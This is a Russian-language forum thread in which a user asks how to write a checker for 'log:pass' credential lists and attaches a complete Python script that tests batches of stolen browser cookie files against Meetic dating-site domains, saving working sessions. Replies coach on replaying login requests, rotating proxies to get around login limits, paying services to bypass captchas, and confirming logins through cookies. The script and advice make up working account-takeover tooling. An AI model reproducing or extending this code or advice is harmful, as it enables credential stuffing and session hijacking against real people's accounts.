Загрузка...

Как написать чекер лог паса сайта

Тема в разделе Python создана пользователем senebaa 19 мар 2025. 161 просмотр

  1. senebaa
    senebaa Автор темы 19 мар 2025 *** 454 14 фев 2023
    Интересно узнать принцип, краткую структуру написания кода для сека строк формата log:pass. Ранее писал код для чека куков (прикреплю ниже) но там все по другому как мне кажется.
    На данном этапе у меня есть сухой шаблон кода где делает всю мануальную работу. Открывает браузер, вставляет строку в лог пас поле и пробует войти. Но как не странно все строки улетают в Error. В основном код ошибки 403

    На 5-10 минут консультацию у кого есть опыт или желание помочь




    Код
    import requests
    from http import cookiejar
    import os
    from concurrent.futures import ThreadPoolExecutor # For multithreading
    from colorama import init, Fore # For colored text in the terminal

    # Initialize colorama
    init(autoreset=True)

    # Function to print the ASCII art in green color
    def print_banner():
    banner = """

    ******╗░**╗░░░**╗  ░******╗*******╗***╗░░**╗*******╗******╗░░*****╗░
    **╔══**╗╚**╗░**╔╝  **╔════╝**╔════╝****╗░**║**╔════╝**╔══**╗**╔══**╗
    ******╦╝░╚****╔╝░  ╚*****╗░*****╗░░**╔**╗**║*****╗░░******╦╝*******║
    **╔══**╗░░╚**╔╝░░  ░╚═══**╗**╔══╝░░**║╚****║**╔══╝░░**╔══**╗**╔══**║
    ******╦╝░░░**║░░░  ******╔╝*******╗**║░╚***║*******╗******╦╝**║░░**║
    ╚═════╝░░░░╚═╝░░░  ╚═════╝░╚══════╝╚═╝░░╚══╝╚══════╝╚═════╝░╚═╝░░╚═╝
    """
    # Use colorama to print text in green
    print(Fore.GREEN + banner)

    # Print the banner right after the program starts
    print_banner()

    # Path to the cookie files folder
    path = input("Enter the path to the cookie database: ")
    # Path to the folder to save valid data
    path2 = input("Enter the path to the folder for saving valid data: ")

    # List of domains to check the cookies against
    domains = [
    "https://www.meetic.fr",
    "https://www.meetic.es",
    "https://www.meetic.it",
    "https://meetic.fr",
    "https://meetic.es",
    "https://meetic.it"
    ]

    # Counters
    total_cookies = 0
    invalid_cookies = 0
    error_cookies = 0
    valid_cookies = 0

    # Function to process a single cookie file
    def process_cookie_file(file):
    global total_cookies, invalid_cookies, error_cookies, valid_cookies

    # Increment the total counter
    total_cookies += 1

    # Open the cookie file
    try:
    with open(file, "r+", encoding="utf-8", errors="ignore") as f:
    cookie = f.read()
    except Exception:
    # Print error with the file name without spaces between lines
    print(Fore.RED + f"{file} - Invalid format")
    error_cookies += 1 # Increment the error counter
    return

    # Write the cookie in Netscape format (compatible with requests)
    try:
    with open(file, "w", encoding="utf-8", errors="ignore") as s:
    s.write(str("# Netscape HTTP Cookie File" + "\n" + cookie))
    except Exception:
    # Print error with the file name without spaces between lines
    print(Fore.RED + f"{file} - Invalid format")
    error_cookies += 1 # Increment the error counter
    return

    # Load the cookie with MozillaCookieJar
    cj = cookiejar.MozillaCookieJar(file)
    try:
    cj.load()
    except Exception:
    # Print error with the file name without spaces between lines
    print(Fore.RED + f"{file} - Invalid format")
    error_cookies += 1 # Increment the error counter
    return

    # Create a session for making requests
    session = requests.Session()

    # Loop through domains and check cookies for each domain
    for domain in domains:
    try:
    response = session.get(domain, cookies=cj).text
    except requests.exceptions.RequestException:
    # Print error with the file name without spaces between lines
    print(Fore.RED + f"{file} - Invalid format")
    error_cookies += 1 # Increment the error counter
    return

    # For each domain, add specific keywords to check if cookies are valid
    if "Decouvrir" in response or "Likes" in response or "Loading" in response:
    valid_cookies += 1 # Increment the valid cookies counter
    try:
    # Remove the line "# Netscape HTTP Cookie File" from the cookie file
    with open(file, "r", encoding="utf-8", errors="ignore") as f:
    cookie = f.read()

    cookie = cookie.replace("# Netscape HTTP Cookie File\n", "") # Remove the line

    # Copy the cookie file to the valid data folder, saving it without the line
    valid_file_path = os.path.join(path2, f"{os.path.basename(file)}VALID.txt")
    with open(valid_file_path, "w", encoding="utf-8", errors="ignore") as f:
    f.write(cookie)

    # Print a message about valid cookies in green
    print(Fore.GREEN + f"{file} - Valid, copying to {path2}.")
    except Exception:
    # Print error with the file name without spaces between lines
    print(Fore.RED + f"{file} - Invalid format")
    else:
    invalid_cookies += 1 # Increment the invalid cookies counter
    # Print a message about invalid cookies in yellow
    print(Fore.YELLOW + f"{file} - Invalid")

    # Function to clear the folder and add only the ASCII art
    def clear_directory_and_add_banner():
    # Clear the folder so it only contains the ASCII art
    for file_name in os.listdir(path2):
    file_path = os.path.join(path2, file_name)
    if os.path.isfile(file_path):
    os.remove(file_path)

    # Save the ASCII art in the folder
    banner = """

    ******╗░**╗░░░**╗  ░******╗*******╗***╗░░**╗*******╗******╗░░*****╗░
    **╔══**╗╚**╗░**╔╝  **╔════╝**╔════╝****╗░**║**╔════╝**╔══**╗**╔══**╗
    ******╦╝░╚****╔╝░  ╚*****╗░*****╗░░**╔**╗**║*****╗░░******╦╝*******║
    **╔══**╗░░╚**╔╝░░  ░╚═══**╗**╔══╝░░**║╚****║**╔══╝░░**╔══**╗**╔══**║
    ******╦╝░░░**║░░░  ******╔╝*******╗**║░╚***║*******╗******╦╝**║░░**║
    ╚═════╝░░░░╚═╝░░░  ╚═════╝░╚══════╝╚═╝░░╚══╝╚══════╝╚═════╝░╚═╝░░╚═╝
    """
    with open(os.path.join(path2, "banner.txt"), "w", encoding="utf-8") as banner_file:
    banner_file.write(banner)

    # Change to the working directory with cookie files
    os.chdir(path)

    # Function to clear the console
    def clear_console():
    # Check the operating system to execute the clear command
    if os.name == 'nt': # For Windows
    os.system('cls')
    else: # For Linux/MacOS
    os.system('clear')

    # Function to wait for the user to press Enter before starting the check
    def wait_for_user_to_continue():
    input("Press Enter to start checking cookies...")

    # Function to start processing all cookies
    def process_all_cookies():
    # Create a thread pool with a maximum number of threads
    with ThreadPoolExecutor(max_workers=8) as executor: # Set max_workers as needed
    # Loop through the cookie files in the folder
    for i in os.listdir(path):
    # Process only files
    if os.path.isfile(i):
    file = f"{i}"
    executor.submit(process_cookie_file, file) # Submit the task to process the file in the pool

    # Function to print statistics after clearing the console and printing the ASCII art
    def print_statistics():
    # Clear the console
    clear_console()

    # Print the ASCII art again
    print_banner()

    # Show the cookie processing statistics
    print("\nCookie processing statistics:")
    print(f"Total cookie files: {total_cookies}")
    print(f"Invalid cookies: {invalid_cookies}")
    print(f"Errors during processing: {error_cookies}")
    print(f"Valid cookies: {valid_cookies}")

    # Program execution
    if __name__ == '__main__':
    # Clear the console
    clear_console()

    # Print the banner again at the beginning
    print_banner()

    # Show the number of cookies for checking
    cookie_files = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
    print(f"Number of cookie files to check: {len(cookie_files)}")

    # Wait for the user to press Enter before starting the check
    wait_for_user_to_continue()

    # Start the process of checking cookies
    process_all_cookies()

    # Print the statistics
    print_statistics()

    # Wait for the user to press Enter to close the program
    input("\nPress Enter to close the program...")
     
    1. survaival
      senebaa, Короче, надо как можно точнее скопировать действия живого пользователя
  2. Discord
    Discord 19 мар 2025 software developer 459 17 авг 2017
    тебе надо понять как работает интернет для начала
    я не читал код там 200 строк и ниче не ясно ты лучше просто обьясни как ты пытаешься это сделать
    и что у тебя не получается
     
  3. Loss
    Loss 19 мар 2025 я бели 7483 18 апр 2018
    Еу ну это же индивидуально от сайта зависит.
    Где то просто можно работать с запросами, обходить кд авторизаций с помощью проксей, где то будет ебать мозг капча, которая байпасится сервисами, где то нужна будет эмуляция
     
    1. senebaa Автор темы
      Loss, Сайт простенький. защиты ноль, только нужно ****** юзать, в моей стране закрыт этот сайт. Может есть какие примеры для изучения?
  4. cashsharing
    ф12 нажимаешь вкладку сеть открываешь и смотришь запросы во время того как входишь в аккаунт а дальше все индивидуально для каждого сайта
     
  5. senebaa
    senebaa Автор темы 19 мар 2025 *** 454 14 фев 2023
    Проблема на данный момент только одна, Я не могу понять получилось ли войти на сайт, ввести логин и пароль если в строке пишет просто Error
     
    1. derkown
      senebaa, ну так ты после отправки запроса на сайт с кредами получаешь куки чаще всего и потом по этим кукам пытайся получить профиль или че ты там хочешь и там чекай
  6. K1p1k
    K1p1k 21 мар 2025 22 1 июл 2022
    Смотри открываешь панель разработчика (вроде так) заходишь в network водишь логин и пароль(к примеру) нажимаешь "логин" В запросах ищешь строки с твоими данными(payload чаще всего) теперь твоя задача отправлять этот запрос допустим через request, ну там много защит в чем основная проблема
     
    21 мар 2025 Изменено
  7. zxcFlezyi
    zxcFlezyi 22 мар 2025 65 26 окт 2024
    1 причина - чатгпт

    попробуй сохранять html сайта - мне это очень помогало когда я не мог понять причину ошибок на сайте)..
     
Загрузка...
Top